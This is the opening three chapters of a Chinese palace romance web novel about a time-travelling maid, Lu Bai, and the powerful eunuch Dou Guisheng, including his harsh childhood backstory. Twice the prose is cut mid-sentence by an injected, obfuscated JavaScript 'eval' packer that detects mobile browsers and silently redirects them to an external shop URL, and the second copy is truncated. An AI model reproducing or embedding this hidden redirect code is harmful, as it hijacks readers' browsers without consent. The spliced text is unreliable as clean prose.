《窦公公的小傻子》 1. 第 1 章 鹿白是极讨厌窦贵生的。 倒不是因为他比正经男人少二两肉,更不是因为他仗势欺人——人之本性而已,没什么好怪的。她讨厌他就讨厌在,这人明里一套暗里一套,尖酸,刻薄,谄媚,弄权,浑身上下都透着一股惹人生厌的气息。而且还打她。 最主要是他打了她。 是以一回来,鹿白就怏怏不乐,见了谁都不说话。甄秋好心地凑了过去:“小白,谁欺负你了?跟我说说,我替你骂他。” 鹿白瞥了他一眼,哭丧着脸不说话。放到别人那儿,多半就是“说出来主子给你撑腰”,在他们这儿,别说主子给你撑腰了,连主子都没人给撑腰。顶多就是说出来心里松快松快,再得别人两句安慰罢了。 “甄秋,”鹿白抿着嘴,像是要哭了,“我让人给打了。” 甄秋吓了一跳,仔细打量了一番:“谁啊,打哪儿了!” 他可从没见鹿白这么难过过,还以为是哪个太监宫女,见她长得傻气,又欺生,对她怎么样了。 鹿白的嘴角撇得更厉害了,说话都带了哭腔:“典刑司……” 甄秋不解了:“你犯什么事儿了?” 不管犯什么事儿,也该先找主子报备了再罚呀。何况小白怎么着也占了个六品女官的名头,再不济也不该沦落成这幅惨相吧? 鹿白姿势怪异地蹲在石阶上,随手揪了一片叶子在手里使劲揉碎,悲愤得不能自已:“我裤子还让人扒了,太不要脸了!” 前些日子整肃宫闱大行动,已经明令禁止了太监和宫女私相来往,更遑论肌肤接触了。今日竟然还发生这等宫女被当众扒裤子的行为,简直有违宫规,有失体统,有辱斯文! “别说了!”甄秋一把捂住她的嘴,背上汗毛都竖起来了,随即立马意识到不对,忙甩开手,蹲在她半步远处,“怎么回事啊?” 鹿白扔了叶子,用脚尖点了两下,没精打采地开始复述方才极其屈辱的经历。 严格说来,扒裤子的小太监是无辜的,罪魁祸首是那个叫窦贵生的恶鬼。 鹿白早就听说过窦贵生的名头。 进宫第一天她就知道了,这宫里除了主子们,不能惹的还有一位,就是司礼监秉笔、典刑司掌印,太监窦贵生。司礼监秉笔说来好听,是圣上面前的红人,实则跟他们底下人没什么干系,最多不过是感叹两句“啊圣上真宠窦公公”,然后巴结得更起劲了而已。且上头还有个司礼监掌印太监压他一头,算来算去,他也最多称得上是个二把手。 但典刑司就不同了,宫中男女老少,凡是触犯了宫规的,都要被拎去典刑司处置。至于宫规谁来定呢,自然是窦公公;至于有没有触犯宫规谁来定呢,自然是窦公公;至于怎么罚谁来定呢,自然还是他老人家。 这可是性命攸关、杀头掉脑袋的大事,由不得大家不怵,也怨不得窦贵生能在宫里横着走。 譬如方才,单单因为看她不顺眼,就二话不说,直接把人临到典刑司打板子了。至今她都不知道自己是遭的哪门子殃。 甄秋的声音颤抖得像吃了弹簧:“谁?” 鹿白道:“就窦贵生啊,你不认识吗?” 空气霎时凝固了,半晌,对话才得以继续。 “你怎么招惹他了?”甄秋虽然胆战心惊,但仍不免好奇。 “我知道就好了!” 认真算起来,这还是她第一次仔细端详传闻中的恶鬼。他立在那儿,像一张空白的信笺,任人涂上几笔什么都可以。从他身上读不出任何情绪,一眼过去,转瞬间就能忘个一干二净。 风从大敞的青石壁间猎猎涌入,呼呼作响的绯色衣袍,跳动如同一颗濒死的心脏。 鹿白常常想,为什么世间会有如此矛盾之人呢?他明明毫不起眼,却正因不起眼而叫人印象深刻。他明明是个欺下媚上的小人,却自带一股青松挺且直的文人豪气。那双眼什么情绪都没有,但被它默默注视之时,却如同天崩地陷,河海奔流,万般情绪涌入心头。 似乎没有一个词能形容他。 直至许多年后,她终于想到无比贴合、无比精准的两个字:傲娇。 他也许是半途折返,又或者是根本没走,盯着鹿白,似笑非笑道:“莫啼院陆白,跟我走一趟。” 出乎意料的,他的声音柔和得不像话,让鹿白一听就浑身酥麻,心神荡漾。她硬着头皮点了点头,乖巧地跟了上去。 窦贵生进宫许多年了,具体年纪没人说得清。提到他的时候只剩畏惧和缄默,至于年方几何,压根没人在乎。鹿白偷眼打量,瞧着倒是不年轻。眯着眼时,眼角露出两道细小的皱纹,是老太监了。 他身上飘着一股被火烤过的竹子味儿,清爽冷冽,还带着点湿润的甜气。鹿白紧紧跟在他身后,恍惚间仿佛踏上了奈何桥。引路的是一根陈年红烛,稍不留神,便会被烛火付之一炬。 “敢问公公,咱们去哪儿啊……”她打了个哆嗦,小声问道。 窦贵生眼珠子斜了一下,没回答。寻常人定要被他这表情吓傻了,但鹿白此时心乱如麻,一心只想着方才的事儿。 她没有过男朋友,更没有过女朋友。但她知道,一言不发的窦贵生就跟拒接电话的女朋友一样可怕。 她错哪儿了,怎么把人惹了,她自以为的错是不是他认为的错,以及,道歉到底该用什么姿势才会死得好看一点……一连串问题简直要把她逼疯了。 鹿白绞尽脑汁,努力回忆道:“我先前在靖萝园里还见过他一次呢。” 先前贾公公偷偷传话过来,说太子殿下正在靖萝园小憩,叫她速速前去。对于勾引太子这等事,鹿白实在没什么信心,但是背后那群人仿佛猪油蒙了心似的,对她寄予了极大的希望,盼望着她能旗开得胜,马到成功,一举推倒太子这座巨塔。 鹿白只得去了。当然,不是因为对太子侍妾的位子感兴趣,只是出于一种投桃报李的感激,以及被胁迫的无奈。 先是救她一命,再把她家人捏在手里,恩威并施,手段确实高超。她不奢望“事成之后送你回家”的承诺能兑现,只求那记不清的爹娘能好好活着就行了。 身为穿越人士,鹿白身上有种近乎傻气的自信和异乎寻常的超脱。她对男女之事没有太大抵触,要是太子品貌性格还过得去,她也不算吃亏。成与不成的,她都对自己的处境不甚担忧。 到了靖萝园,只见到一个人。虽然进宫没几天,但对主子们穿什么戴什么也算是烂熟于心了,毕竟这是她的安身立命之本。是以鹿白怎么也没想到,“丹色”的太子常服竟然跟“绯红”的一品太监官服如此相像。别说她了,是个人都没想到事件竟会这么发展。 事后她曾无数次懊恼自己上辈子不是个设计师,不能第一时间分辨两种颜色的细微差异,以致于以后一见窦贵生那身红衣,她就会条件反射地觉得屁股隐隐作痛。 “咚”的一个脑袋磕下去,鹿白朗声道:“见过太子殿下。” 没人说起,她也不敢动。等了半晌,头顶蓦地传来一声轻笑,一道轻柔到让人头皮过电的声音响起:“这是哪宫的丫头,连太子殿下都认不出,眼睛是鱼鳔做的么?” ——嗓子是好嗓子,就是说不出人话而已。 说着,一只脚出现在鹿白面前,脚尖微抬,缓缓托起了她的下巴。男人背手侧身,把她的狗头转向他身后,朦胧的目光从睫毛和眼睑的缝隙中漏出来:“你这可是折煞我了,还不快去给太子殿下请罪?” 说完像是嫌她脸脏似的,飞快挪开脚,在地上轻轻蹭了蹭。 说到此处,鹿白恍然大悟。敢情是这个原因! 根据光的直线传播原理,三点一线,后头的人被挡了个严严实实,不怪她看不见。那这可真是折煞了。细论起来,窦贵生挡住太子就隐隐有点不敬的苗头了,再生生受了她这一拜,再怎么狡辩,太子也难免对他有所猜疑,甚至心生厌恶。 后头发生什么已经不重要了。她的确行事鲁莽,也害窦贵生开罪了太子,挨这顿打不算冤。 此事合情合理,完美无缺,天衣无缝,但正因如此,鹿白才更加生气。没有旁人可以怪罪,只能怪她自己,但她错了吗?压根就没错啊! 思来想去,追根究底,一切根源就在这万恶的裤子上。 “我定要报这一裤之仇!”鹿白面色坚定,振振有词,宛若一个失心疯。 甄秋没听清她说的什么,同情地叹了一句,哄小孩似的安慰道:“你别放在心上了,我也被打过的,这宫里进过典刑司的人多了去了,不是个个都有命活下来的。殿下方才还问你去哪儿了,专门给你留的盐津梅肉,一颗没分给我们呢!” 鹿白捂着屁股站起身,慢吞吞地往回走:“殿下不能吃盐。” “他不吃,”甄秋眨着眼,语气揶揄,“特意替你寻来的。” “……哦。” 鹿白不知道该作何感想。显然,莫啼院从主子到下人,无一例外,统统认为她是个傻子,傻孩子。十六皇子比她小四岁,照样拿她当小孩一样逗着玩。关心爱护之情着实令人感动,但怎么才能让他们相信失忆不等于失智呢? “对对对,你说得对。”这是她几天来听得最多,也是感到最无力的话。敷衍中带着无奈,无奈中带着溺爱。 一切狡辩都如此苍白无力,有的人就是这么邪性,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218237|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论她做什么、说什么,被她那乖巧中带着痴呆的大眼一看,你就会忘记一切阴谋诡计,抛却一切勾心斗角,发自肺腑地长叹一声:“可惜了!” 可惜这一副好皮囊。可惜是个傻子。 十六皇子的品味很独特,越过香衣云鬓的一众宫女,一眼就相中了鹿白,央了母妃把人要走。她确实是个很合人心意的女官,心思单纯,为人直接,有一说一。关键是清白——家世清白,连记忆都是一片清白。 “你叫什么?” “鹿白。” “哪两个字,会写么?”苍白羸弱的十六皇子期待地望着她。 鹿白沉默了。虽然没了记忆,可她早就敏感地察觉到,自己的身世一定没有那么简单。这种敏感并非因为她有多聪明、多机敏,纯粹是出于动物趋利避害的本能。救她的吴大人所说的那套,她不敢轻信也不敢全信,只能听凭直觉的驱使做出选择。 姓陆的很多,譬如一同入宫的鹅蛋脸宫女,譬如浣衣局一个跛脚太监。譬如吴大人的母家。 而姓鹿的人家,放眼天下几乎没有。这一笔要是落下去,可就轻易不能悔改了。 彼时她听凭本心,写下了“陆”字。一半是因为吴大人要她隐瞒身份的吩咐,另一半则是想保全鹿家。别管有没有用,这份心思倒是好的。 可落在十六皇子的眼里,便是一番连名字都犹犹豫豫不知如何下笔的景象。 他脸上露出天真又同情的笑:“我便叫你小白吧。” 一进院子,赵芳姑就急匆匆迎了出来。不由分说,先瞪了甄秋一眼:“叫你寻个人,半天没影儿!” 甄秋连连喊冤:“我的芳姑呀,我才去了一刻钟,都不到!” 赵芳姑不理他,揽着鹿白往屋里走:“小白快来,殿下找你,有好消息。” 鹿白一头雾水:“是盐津梅肉吗?” 赵芳姑“噗嗤”笑出声,手指戳着她的脑门,眼神更加温柔了:“你倒好,不惦记殿下,净惦记零嘴了。” 这实在是天大的冤枉,分明是甄秋先提的盐津梅肉。鹿白冲甄秋使眼色,可惜甄秋刚被骂了一句,完全没有替她辩解的意思,只剩下幸灾乐祸了。 “小白回来了。”几人的声音不小,十六皇子早早就听见了,但等到他们进了屋,他才从床榻上虚弱地坐起身,冲她招了招手。 慢性肾衰竭这病最是折磨人,才十四岁的孩子,皮肤已现出灰败之色。不能跑不能跳,不能多喝水,不能多吃盐,连情绪都不能有大波动。以穿越前的医疗水平,就算是终期尿毒症患者,靠血液透析也能活个四五十年。但放到现在,那便是药石无医,无力回天。 见人回来了,十六皇子很高兴,但他早已学会控制情绪,再高兴或悲伤的话说出来也是一派云淡风轻。 “小白,有个好消息。”他递来一张竹牌,上头刻着莫啼院几个字,底下用朱笔缀了两颗红点,背后写着:辰和廿年,甲班。 见她不懂,十六皇子好心解释道:“我身子不好,不能亲自上阵,但总不能叫你一直不识字。我同母妃求了内学堂的名牌,明天起你就能去念书了。” 鹿白一愣:“殿下,我虽不是学富五车之辈,但字还是认得的。内学堂尽是些小太监,咱们……没必要这样吧?” 赵芳姑敲了她一下,笑道:“这孩子,还不好意思上了!” 十六皇子也抿着嘴笑了:“男女分席,你就放心去吧。” 鹿白认命地点点头:“那便听殿下的吧。” 内学堂她是知道的。每日奏疏多如雪片,除了千篇一律的溢美之词、又臭又长的争论辩驳,便是无甚营养的一堆屁话,真正有用的内容少之又少。 圣上没有时间浪费在这上头,全靠秉笔太监将水分滤上一遍,凝练语言,概括大意,捡些干的内容上报;等圣上听完,他们再充当语音转写机,将圣谕原封不动地落到纸上。有时甚至还有自由发挥的余地。 御笔朱批落定,再送去廊房传抄,发往大小官员手中。这等传抄的活计也得由识字的太监担任。 从目不识丁到御前秉笔,就差一个内学堂的距离。近些年也有女官被送去接受教育,收效相当良好,整个皇宫的素养都跟着提升了。 鹿白不讨厌学习。学习使人快乐,学习能让她更快地融入这四方宫墙内的世界,能让她用些实质性的东西填满空荡荡的脑子。 “你自求多福吧!”甄秋倒是很同情她。 “什么意思?” “你可知道内学堂的先生是谁?” 鹿白隐隐觉得有点不妙:“谁啊?” “窦公公。” “……” 2. 第 2 章 关于一裤之仇有没有报,怎么报的,什么时候报的,当事两人各执一词。 鹿白坚持认为自己根本没成功,心里始终憋着股气,并对此耿耿于怀。她不是善于记仇的人,有火必须立马撒出来,转眼就好得跟没事儿人似的。说她没心没肺也罢,说她脑容量堪忧也罢,她的确存不下太多负面情绪。 唯独这件事儿让她记了很久,可见在她看来的确没能成功。后来窦贵生劝她,裤子也脱了无数回了,不差这一次两次的,非计较这个干嘛呢!她想了想,的确如此,于是终于放下这桩心事。 但当时的鹿白很确定,自己整个人都被复仇之火熊熊点燃了。她想要让自己放下仇恨,拥抱自由,但每劝自己一次,那天的记忆就被重新描画一次。栩栩如生,历历在目,结果自己怒火更盛了。 大概是天生不对盘,她怎么看窦贵生怎么觉得讨厌,恨不得立刻冲上去扒了他的裤子,好好晾一晾他某个空荡生风的地方。 但她听着听着,思维就开始拐弯、脱轨,不断偏离原定路线,越跑越远。 初秋的天气还有些闷热,主子们一个接一个歇下,午后的皇宫陷入一片轻柔的寂静。烈日当空,绿荫似乎被蒸腾起一片水汽,随着一阵阵炙热的气浪卷入屋内。空气静止了,树叶偶尔不耐烦地动弹一下,发出的沙沙声很快消散,湮灭在悠长而缠绵的蝉鸣声中。 同样悠长而缠绵的还有先生讲课的声音。 他的声音极其动听,念课文的时候抑扬顿挫,振振有声,却并不显得强硬。稍稍上翘的尾音和偶尔连读的字句跟他的人截然相反,软嫩得不像话。 介于小提琴和竖琴之间的优美旋律不断循环,反复触动鹿白脑中的某根神经。 她禁不住想道,这样一副好嗓子,要是稍微走点歪门邪道,可又是一段祸国妖妃的传奇了。 不得不承认,她喜欢他的声音。这一事实让鹿白顿觉羞耻,并将此视为窦贵生蛊惑人心的一大罪证。 折磨人的声响终于停住了,讲席上的人突然开始点名:“李久。” 案桌一阵乒乒乓乓,叫作李久的小太监慌乱地擦着脸上的口水:“是,先生。” “江面渔舟浮一叶,下一句。”窦先生半阖着眸子发问。 内学堂是有教材的,但不给学生们发,尤其是甲班。能入内学堂的都粗通文字,三百千自是不用再读了。甲班学些骈文散句,上课先由先生念,一句一停,学生们跟着念一遍;而后先生再念一遍,学生们便要背诵并默写全文。 李久从一炷香之前就开始打瞌睡,方才终于撑不住,趴在案桌上睡死了。脑袋刚一沉下去,就被点了名,哪儿知道下一句是什么呢! “是、是……”日头正烈,但屋里的李久竟生生吓出一身冷汗。 隔着一道屏风,小太监们的身形影影绰绰,只能看个大概,但那股战栗的凉意毫无阻碍地穿破屏风,直奔鹿白面门而来。讲席上的人缓步走了下来,如同皮影戏一般消失在屏风背后。 李久要遭殃了,所有学生都是这么想的。鹿白脚尖伸过屏风底下的缝隙,踢了李久一下,用气声提醒道:“楼台谯鼓报三通!” “楼、楼台小、小鼓……”李久战战兢兢作答。 “谯鼓,谯!”气声大了几分。 “谯,谯鼓!楼台谯鼓报三通。”李久终于答了上来,长长松了口气。 等了半晌,先生才“嗯”了一声,用他那祸国妖妃的嗓音冷声道:“坐下吧。” 不等李久坐定,他又补充了一句:“下回不必来了。” “先生!”李久登时被吓哭了,“我下次不敢了,我、我——” 他求饶的话没有说完。鹿白看见朦胧的先生转了个身,似乎微微张开了他半垂的眼帘,用力看了李久一眼。她不知道那是怎样一种眼神,竟生生把小太监吓晕了。 窦贵生没再说话,施施然从屏风后转出,回到了讲席,守在门边充当助教的太监立刻把人抬了出去。 这下没人敢再走神了。 被打断的课文从头开始,又念了一遍。学生们顶着一头冷汗,如临大敌地朗声背诵,声音大得险些掀翻屋顶。最后一句结束,屋内是死一般的寂静,连蝉鸣声似乎都被唬停了。 “写吧。”先生发话道。 学生们埋头苦写,继续提心吊胆。方才那一出惩戒让他们意识到,内学堂当真不是随便混混的地方,先生也绝不会随便教教。每年甲班入学的有六七十人,丙班毕业的却永远不超过十个。这些“毕业生”无一例外,都是要入司礼监做秉笔,飞黄腾达的。 没有人不想飞黄腾达,窦贵生当年就是这么上来的。 六岁那年,城里闹了饥荒,娘带着窦贵生出门讨饭的功夫,妹妹就让爹给卖了。他娘知道了,只是叹着气摸了摸他的头,没有说话。 窦贵生的爹自饥荒那时便落下了病,熬了两年,终于死了。他娘带着他改嫁,没几个月,那男人喝醉了酒,从桥上跌下去淹死了。他娘成了个克夫的寡妇,他也成了没爹的孩子。 孤儿寡母的不容易,他娘在小巷寻了间破落的木棚,扯了扇布帘挡住风,这便算是他们的家了。棚外挂了一盏褪色的红灯笼,她娘说,她得想办法活下去。 他不懂她那晚流的泪,正如他不懂她自甘堕落的执着。 十岁的孩子,不再不谙世事了。从木棚搬到了一间瓦房,他却开心不起来——他是娼妇的儿子。房里整晚整晚都是男人的喊叫,他也整晚整晚的无法入眠。进来时嬉皮笑脸,走时骂骂咧咧。天下男人都一样,提上裤子不认人。 巷口的少年三两成群,常常堵着他破口大骂,拳打脚踢更是家常便饭。跟他同样的年纪的男孩,也许根本不知道“娼”字是何含义,也许还没学“恶”字怎么写,却并不妨碍他们欺负折辱一个手无缚鸡之力的娼妇的孩子。他渐渐习惯了,麻木了。 从面红耳赤到不甘示弱,甚至还能冷着脸反唇相讥,其实用不了多久的功夫——你瞧,人心也不都是肉长的。 直到他被当众扒下了裤子,被人用脚边狠狠踩那部位,边骂“你怎么不跟你娘一样,这东西看着也多余”,兴奋快活得好似踩死一只臭水沟的老鼠。他终于反抗了。 他一拳又一拳,不要命似的挥了出去,用尽身上所有的力量,要拉那人同归于尽。那人害怕了,顶着一头鲜血仓皇逃窜。他那时还不知道,强权之下,一切只能俯首称臣。 他只知道,叫人怕总比叫人尊敬要好,从此再也没人敢欺侮他了。 十一岁,巷子里别的孩子都读书了,他不敢跟她娘开口,也不耐烦跟她开口,只能找人借来书本,断断续续识上几个字。他娘身子亏败得厉害,生意不多,又常常被人呼喝捶打。每到这时她就捂着脸默默流泪,他烦得厉害,摔门就走。 “给钱算是可怜你,不然就凭你这货色,倒贴钱我也不干呢!”他听见有男人在门口“呸”了一声,指责她的年老色衰。他也跟着吐口水,该,都是你自找的! 没出冬天,他娘就病倒了,整个人像是一张陈年牛皮纸,单薄脆弱,干瘪瘦削。他卖了房子,又住回了木棚。苦涩的药味和排泄物令人作呕的气味,让他恍惚间又回到了那个四口人挤在一间草房里的童年。 他认了一个算命瞎子当干爹,每日坑蒙拐骗,能得六个铜板。可银子如流水一般的花,积蓄不够了,六个铜板也不够了,他不吃不喝,也供不上那一罐罐烂草熬成的汤。郎中总跟他说,再吃两副就能见好,他不知道他娘能不能撑过两副药,他只知道自己马上就要饿死了。 机会终于来了。临近年节,京中来了人,只需要割掉二两肉就能换来五斤大米和二两银子。二两换二两,还饶上五斤米,不亏。 他自然不会犹豫。若你现在问他,他也依旧毫不后悔。 他揣着银子,捧着米,小心翼翼地回了家,匀出二十个铜板,数了一遍又一遍。煮上一锅粥,藏好剩下的钱,他匆匆出了门。 药买回来了,可他娘再也喝不到了。屋里被翻得一片狼藉,藏的钱没了,锅里的粥打翻了,他娘等不到他回来便咽了气,也不知道死前是如何挣扎,又是如何一点点陷入绝望。他默默替她穿好衣服,擦干净身子。生前如何不堪,死后也要体面一回。 望着棚顶漏下的一方天空,他突然觉得一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“说话,哑巴了?”死神步步紧逼。 命运的手指不合时宜地出现,在鹿白被困意笼罩的脑门上戳了一下,泄露出一些颜色丰富、非常不妙的东西。 她脱口而出一句清醒时打死都说不出的话: “……被翻红浪?” 鹿白说完才意识到,此话对无根之人简直大大的不敬,瞬间缩了脖子不敢言语。小太监们很想笑,但没人有胆,纷纷埋着脑袋装聋子。 窦贵生愣住了,他怀疑自己年岁大了,出现了幻听。任谁也不敢在这种场合、在他面前开黄腔。方才一瞥,鹿白那纯净的眼神、无辜的表情,显然是对那四个字的含义毫不知情。 不定谁教她的,怎么说得出这种话!他倒是要好好查查是谁敢散布这等污言秽语。 然而转念一想,鹿白可是吴玉的人呢。那老贼整日在圣上面前参他,阉人干政,祸国乱权,净捡些难听的词儿往他身上招呼。这些奈何不了他,却奈何得了他手底下的人,已经叫他吃了好几回暗亏了。 年初,前朝后宫因司礼监掌印人选一事争得不可开交,日日早朝打成一团,仿佛那位置不是掌印大太监,而是天王老子。这等殊荣连当事人自己都觉得讽刺不已。 最后,身为丞相的吴玉据理力争,把江如那草包推了上去。奋斗了二十年的位置就这么没了,窦贵生气得牙痒痒,恨不得把吴玉五马分尸,以报这不共戴天之仇。 这不,现成的机会就在眼前。 这世上哪有什么纯善的人,方才那样少不得是装的,且看看这小宫女有何目的吧。窦贵生心思转了几回,做出了决定。 戒尺在“居心叵测”的小宫女手背敲了一下,窦贵生幽幽念道:“陆白。” “是,先生!” 交头接耳在行,到自己默书的时候就写不出来了。纯属找打。 “亥时再来。” 在场众人都明白这句话的意思。亥时主子们都歇下了,他们一日的活儿也基本忙完。 天黑了,有空挨罚了。 鹿白垂头耷脑:“是,先生……” 第一天就被留堂,她怀疑自己可能真是个傻子。 3. 第 3 章 理想的师生如同金婚夫妻,相敬如宾,志同道合,琴瑟和谐,心心相印。 显然,鹿白和窦贵生的师生关系属于直接跨过蜜月期的新婚怨偶,磕磕绊绊,争吵不断,有那么一瞬间彼此都恨不得杀了对方。 夫妻不虞还可以和离,可以分道扬镳,各自嫁娶。但一日为师终身为父,这一声“先生”喊出去,即便日后再怎么决裂,也撇不清这层干系了。 日子还得往下过。 鹿白此刻只能庆幸先生只是罚她抄课文,而不是打板子。似乎一入了学堂,他就忘了自己是窦公公、窦秉笔,只是窦先生了。 身兼数职,却样样都理得井井有条,绝不混淆,绝不越界。像是把自己均分成了三等份,每个三分之一窦贵生都能各司其职。仔细想想,宫中谁能有他这么强的职业感呢? 不论别的,爱岗敬业总是值得尊敬的良好品德。 十六皇子歇得早,尤其是今天。为了让鹿白早点抄完早点回来,他几乎戌时刚过就睡了。纸笔内学堂都有,按理说不需要再带什么了,但出门时鹿白仍拎了一个堪比鸟笼大小的提匣。里头有赵芳姑的手炉、披帛,甄秋的各式零嘴,十六殿下的提神醒脑丸。 满载着全院的希望,非常沉重。 但据她猜测,没一样能用得上,且没一样能带进去。 宫女甄冬提着灯笼,一言不发地把鹿白送到内学堂的路口。她不大喜欢这个后来者,但还是好奇道:“念书有意思么?” 鹿白望着守门的助教,颇为沧桑地感叹道:“那就要看你的先生是谁了。” 甄冬假装听懂地点了点头,一言不发地走了。 鹿白来得早,但有人更早。助教苏福是窦贵生实打实的干儿子,整日影子似的坠在窦贵生脚跟后头两步远处。是以单独见到他时,鹿白还有些惊讶,就像见到影子竟然活了似的。 “进吧。”苏福果然没收了她的提匣,远远地放到了回廊外。 为防止太监宫女勾搭成奸,内学堂中设了一扇绵延的屏风,屋内并不相通。上课前男男女女从两侧偏门鱼贯而入,除了没有“男宾两位,女宾往内”的唱喝,简直跟澡堂子一模一样。 其实有地方是相通的:先生的讲席。但大家都不约而同,选择性地忘了屏风最前头的开口,对可以从窦贵生面前抄近道的选项完全视而不见。 屏风那头亮着灯,似乎还有一道人影。鹿白在案桌后坐下,跟那小太监前后就隔着不到一米的距离。 小太监的影子晃啊晃,妖娆动人,骚里骚气。 她觉得想出这办法的人一定是脑子不太好,非但不太好,还是个毫无恋爱经验的小学鸡。情情爱爱,岂是这一道屏风能挡得住的?殊不知这层若即若离、朦胧绰约的距离才是爱情萌发的绝佳土壤啊。 拢共就这么多人,挡住了又如何?不喜欢对面的,难道喜欢前头那个吗?开什么玩笑。 也许是见她迟迟没落笔,隔壁的小太监轻咳一声,像是在提醒。 鹿白瞥了一眼门边老僧入定似的苏福,捧着笔墨纸砚飞快地坐到他边上。现在,他们之间就剩下一层窗户纸的距离了。 “哎,”鹿白手指在屏风上像模像样地敲了三下,软绸凹陷又弹起,“你也是来罚抄的吗?” 她瞧不真切对方的样貌,但能见到他手中执笔,正襟危坐,正伏在案头写什么。 “嗯。”隔壁的人压着嗓子,似乎还捂着嘴,声音小得像是一阵耳鸣。 鹿白紧张地瞄了一眼充当人体监控的苏福,顿时心中了然。她轻手轻脚地扯了半页纸,埋头苦写,奋笔疾书。不一会儿,一张啰啰嗦嗦的纸条就从脚下递了过去。 上头写着:你在哪当差叫什么几岁了来多久了抄几遍才算完你写了多少了写完了就能走吗 字本来就小,密密麻麻紧挨在一起,一点空隙都没留,看得人头大。 对面的小太监似乎被她的大胆举措吓住了,纸条递过去好半天才被捡起来。鹿白非常恶劣地欣赏着对方抓耳挠腮的反应,仿佛又找回了当年上课传纸条的兴奋——在她心里,对方下笔之前停顿的那五秒已经跟抓耳挠腮画上等号了。 不一会儿,一张纸条从脚下传了回来。很简单的四个字:豆子,不知。 小豆子,鹿白默念了两遍,心道说不定就是因为犯了先生的名讳才被留堂。这还没怎么样呢,就拿自己当皇帝了,名讳也提不得了? 她同情了一秒,便迅速跟对方站到了同一战线,开始开展友好亲切的纸条外交。 小豆子,你日后要去文书房么? 不知。 你字写得这么好看,念书好几年了吧,怎么还在甲班? 写字而已。 小豆子,那边还有别人吗,这边只有我。 无人。 你若是先写完,能不能等我片刻,我有糖分你。 不必。 那我写快些,争取跟你一起走。 那头没了回音。不论这边问什么,对方只是寥寥两三个字。几个回合下来,鹿白就觉得泄了气。差点忘了,自己的课文都没抄完,还有这闲心跟别人传纸条呢! 于是果断收了心,端端正正坐在桌前抄课文。苏福一眼扫过来,她乖巧地笑了一下,立马低下头。等到写完一大篇时,苏福已经转到了回廊上,只留下一抹青色的背影。 鹿白松了口气,一低头,脚边不知什么时候多了一张纸条。上面印着一小片鞋印,俨然放了许久,还被写得忘乎所以的她踩了一脚。 她赶紧俯身捡起来,偌大的纸上只写了两个字:你呢? 鹿白顿时高兴了。她撸起袖子,露出墨迹斑斑、仿佛挂满“好好学习勋章”的胳膊,在那两个字旁斗志昂扬地写道: 殿下给我带了不少零嘴,都被苏公公扣下了,如果他不没收的话,咱们寻个没人的地方分了。没收也没关系,我找他讨几颗梅子糖出来。梅子糖,极好吃! 她在后头画了两个圈,欢天喜地地递了回去。虽然她并不知道“你呢”问的到底是什么。 搁在宫外,梅子糖一文钱五颗,半个指甲盖那么大,含在嘴里一刻钟都化不了。没什么甜味,酸得要死,还有核儿。常常是爹娘被孩子缠得烦了才会买,两个铜板就能打发一群恼人的小鬼,换来一整个梅子味儿的下午。 宫里的梅子糖自然跟外头不一样,但仍旧算不得好东西,仍旧是贱物。跟有些人的命一样贱。 短短几秒内,小豆子的思绪飘了很远。远到视线中出现了一盏飘忽的红纸灯笼,远到舌尖泛出一股嚼了许久的灰面饼和梅子糖混合而成的酸味。 很快,鹿白便收到了回信:多谢,不必等我。 鹿白没有等他。当一个人抄课文抄了十遍,都快把砚台磨没了的时候,她就无暇再想什么小豆老豆了。 抄完满篇,又当着苏福的面背了一遍;这还不算完,还要抽查上下句,答上十句才算过关。强人所难,大概是苏福从他干爹那继承得最彻底的本事。 鹿白惦记着提匣里的吃食,闷着头往外跑,却被苏福虚抬手拦住了。 “陆女史。”他个子很高,声音却被永远定在了十四五岁的变声期。 鹿白就差跪地求饶了:“还有啊苏公公?” 苏福答道:“那倒不是。不过是提醒陆女史一句,既入了内学堂,就别坏了规矩。” 鹿白当然知道他意有所指,当即用力点头,无辜道:“是,一定不辱使命。苏公公,我那提匣……能还我吗?” 苏福好心地点点头。鹿白顿时笑起来,整个人化成一只出笼的小鸟,甩着酸软的右边翅膀飞扑到墙根。拎了提匣,她在回廊的石阶上踏了两步,又跑了回来。 “苏公公,承蒙照顾,十六殿下托我给您的。”她摸出一个荷包递到苏福手上。 两颗金豆子,挺寒酸的,但鹿白却不清楚。即便清楚,也有种自暴自弃、无所畏惧的骄傲。苏福在手里捏了捏,恭敬地收下了:“替我多谢殿下。” “一定带到。”鹿白在提匣里翻了片刻,又掏出一个巴掌大小的纸包。牛皮色的纸包用红绳五花大绑,捆得十分难看,纸缝里钻出一股甜腻味儿,闻着还算凑合。 “苏公公辛苦了!不是什么好东西,你们留着尝尝吧。”她没解释“你们”是谁,在场就三个人,苏福不会不懂她的意思。 说完她就走了,一蹦一跳的背影充满了脱离苦海的欢快。 那天小豆子是什么时候走的,那包梅子糖给没给到他手上,鹿白一概不知。好几天后,她才后知后觉地意识到,怎么每天晚上都能见到小豆子?是他太倒霉,还是他跟她一样傻? 经历了一连几日的沉重打击,鹿白已经接受了大家都认为她是个傻子的事实,并且对自己也产生了那么一丁点儿怀疑。但傻就傻吧,也没什么太大的坏处,反而让莫啼院的众人更宠她了。 宫中有个不成文的规定,皇子身边的女史一职,除却本来的记录起居职责外,还有一层特殊的含义。凡是哪个宫女女官被皇子看上了,通常先调去身边做女史,而后便名正言顺地纳妾晋封。十六皇子的生母顺嫔和奶母赵芳姑待她极好,便是这个原因。 但鹿白严重怀疑,十六皇子当初看中她仅仅是因为好玩。相处多年下来,她也没捕捉到任何一丝暧昧信号。窦贵生总说十六喜欢她,她愣是一点没看出来。 退一万步讲,十六皇子若真喜欢她,也纯粹是一种求而不得的情感投射。 